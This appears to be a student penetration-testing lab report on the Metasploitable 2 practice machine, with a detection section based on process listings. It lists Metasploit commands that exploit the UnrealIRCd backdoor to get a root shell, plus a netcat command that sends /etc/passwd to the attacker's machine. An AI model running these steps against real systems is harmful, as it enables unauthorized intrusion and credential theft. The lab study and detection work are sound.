Pen Testing 2
Kenyon Nystrom, Avery Watts, Ben Aoki-Sherwood

Part 2:

a. List of steps to execute the UnrealRCD IRC daemon backdoor.
    i. First, run the `msfconsole` command in the Kali console
    ii. Next, run `use exploit/unix/irc/unreal_ircd_3281_backdoor`.
    iii. Next, run `set RHOST <insert target IP address>`.
    iv. Next, run `set PAYLOAD cmd/unix/bind_perl`.
    v. Next, run `exploit`.
    vi. The process takes a while. Then, the Metasploitable 2 command shell is open, and if the `whoami` command is run, the attacker will see `root`.
    vii. Once the attacker has completed this payload's attack, they can then use ctrl+c to escape the Metasploitable 2 console.
    viii. Now to use the second payload, run `set payload cmd/unix/bind_ruby`.
    ix. Finally, run `exploit`.
    x. Then, the Metasploitable command shell will be accessible.
b. This backdoor was present in the open source IRC Daemon UnrealRCD between 2009 and 2010 before being patched, and was subsequently added to the software archive for purposes of education. The Metasploit module has the capabilities to exploit this vulnerability through perl, ruby, or telnet through 12 different payloads. The payloads use TCP and SSL. The first payload that we used is a remote downloader and trojan execution script written in perl. The second is a Metasploit exploit written in Ruby.
c. Payload cmd/unix/bind_perl exploits this backdoor through Perl using TCP. Payload cmd/unix/bind_ruby exploits the backdoor through Ruby and TCP.
d. We used the **nc** (netcat) command to transfer the /etc/passwd file from Metasploitable to Kali. The process we used was as follows:
    i. set netcat to listen on a port (we chose 7555) on Kali, and pipe what netcat receives into a file: `nc -l -p 7555 > passwd`. Run this command in the directory you want the passwd file to go into
    ii. get to the **/etc/** directory on the target machine--our exploit puts us in the **/etc/unreal** directory, so we need to use `sudo su` then `cd ..` to get into **/etc/**
    iii. transfer the **passwd** file to Kali (IP 10.0.2.15): nc 10.0.2.15 7555 < passwd

Part 3:

We used the **ps** command to look at all the processes running before and after the intrusion. In particular, we used the user flag with ps to look for processes running under the root user: **ps -u root**. The processes list produced by this command reveals the presence of an intruder. For the **cmd/unix/bind_perl** payload, a new process **perl** with process ID **4964** appears that wasn't there before the intrusion. Also, for the Samba exploit with the cmd/unix/reverse payload, ps -u root showed new telnet and sh processes when the intrusion was underway. Thus if a sysadmin kept regular logs of ps output and tracked which processes were usually running on

their system, they could compare the output of the ps -u root (or **ps -e** for all processes) command to check that there are no abnormal processes running.

Part 4:
Metasploitable 2 is a server. Thus, it runs a remote web server, which happens to be built with many vulnerabilities for which Metasploit has a wide range of tools to attack. To view the web application, change the network interface settings from "NAT" to "Host Only". Then, the website is located at http://<ip address>. The webapp is pretty cool as it allows people to practice more methods of hacking in a legal environment.

Sources:
https://www.hackingtutorials.org/metasploit-tutorials/hacking-unreal-ircd-3-2-8-1/
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/